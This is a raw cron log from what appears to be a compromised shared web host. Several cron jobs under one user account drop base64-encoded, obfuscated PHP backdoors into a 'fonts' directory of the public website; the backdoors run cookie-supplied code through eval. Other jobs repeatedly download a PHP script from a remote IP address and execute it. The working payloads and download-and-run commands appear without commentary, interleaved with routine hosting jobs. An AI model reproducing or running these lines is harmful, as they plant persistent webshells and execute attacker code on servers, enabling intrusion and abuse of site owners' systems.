Sep  3 13:48:01 ip-184-168-122-23 CROND[15165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:49:01 ip-184-168-122-23 CROND[15268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:49:01 ip-184-168-122-23 CROND[15270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:49:01 ip-184-168-122-23 CROND[15271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:49:01 ip-184-168-122-23 CROND[15272]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  3 13:49:01 ip-184-168-122-23 CROND[15273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:50:01 ip-184-168-122-23 CROND[15401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:50:01 ip-184-168-122-23 CROND[15402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:50:01 ip-184-168-122-23 CROND[15403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:50:01 ip-184-168-122-23 CROND[15406]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:50:01 ip-184-168-122-23 CROND[15409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:50:01 ip-184-168-122-23 CROND[15413]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:50:01 ip-184-168-122-23 CROND[15411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:50:01 ip-184-168-122-23 CROND[15414]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 13:50:01 ip-184-168-122-23 CROND[15412]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 13:51:01 ip-184-168-122-23 CROND[15541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:51:01 ip-184-168-122-23 CROND[15542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:51:01 ip-184-168-122-23 CROND[15544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:51:01 ip-184-168-122-23 CROND[15543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:52:01 ip-184-168-122-23 CROND[15722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:52:01 ip-184-168-122-23 CROND[15724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:52:01 ip-184-168-122-23 CROND[15726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:52:01 ip-184-168-122-23 CROND[15725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:52:01 ip-184-168-122-23 CROND[15730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:53:01 ip-184-168-122-23 CROND[15827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:53:01 ip-184-168-122-23 CROND[15828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:53:01 ip-184-168-122-23 CROND[15830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:53:01 ip-184-168-122-23 CROND[15831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:54:01 ip-184-168-122-23 CROND[15915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:54:01 ip-184-168-122-23 CROND[15918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:54:01 ip-184-168-122-23 CROND[15916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:54:01 ip-184-168-122-23 CROND[15917]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:54:01 ip-184-168-122-23 CROND[15919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:55:01 ip-184-168-122-23 CROND[16021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:55:01 ip-184-168-122-23 CROND[16023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:55:01 ip-184-168-122-23 CROND[16026]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:55:01 ip-184-168-122-23 CROND[16024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:55:01 ip-184-168-122-23 CROND[16025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:55:01 ip-184-168-122-23 CROND[16027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:56:01 ip-184-168-122-23 CROND[16113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:56:01 ip-184-168-122-23 CROND[16115]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:56:01 ip-184-168-122-23 CROND[16116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:56:01 ip-184-168-122-23 CROND[16117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:56:01 ip-184-168-122-23 CROND[16118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:57:01 ip-184-168-122-23 CROND[16208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:57:01 ip-184-168-122-23 CROND[16212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:57:01 ip-184-168-122-23 CROND[16211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:57:01 ip-184-168-122-23 CROND[16210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:58:01 ip-184-168-122-23 CROND[16311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:58:01 ip-184-168-122-23 CROND[16314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 13:58:01 ip-184-168-122-23 CROND[16313]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 13:58:01 ip-184-168-122-23 CROND[16315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:58:01 ip-184-168-122-23 CROND[16316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:59:01 ip-184-168-122-23 CROND[16489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:59:01 ip-184-168-122-23 CROND[16491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 13:59:01 ip-184-168-122-23 CROND[16493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:59:01 ip-184-168-122-23 CROND[16492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:00:01 ip-184-168-122-23 CROND[16579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:00:01 ip-184-168-122-23 CROND[16581]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 14:00:01 ip-184-168-122-23 CROND[16588]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:00:01 ip-184-168-122-23 CROND[16584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:00:01 ip-184-168-122-23 CROND[16589]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 14:00:01 ip-184-168-122-23 CROND[16585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:00:01 ip-184-168-122-23 CROND[16587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
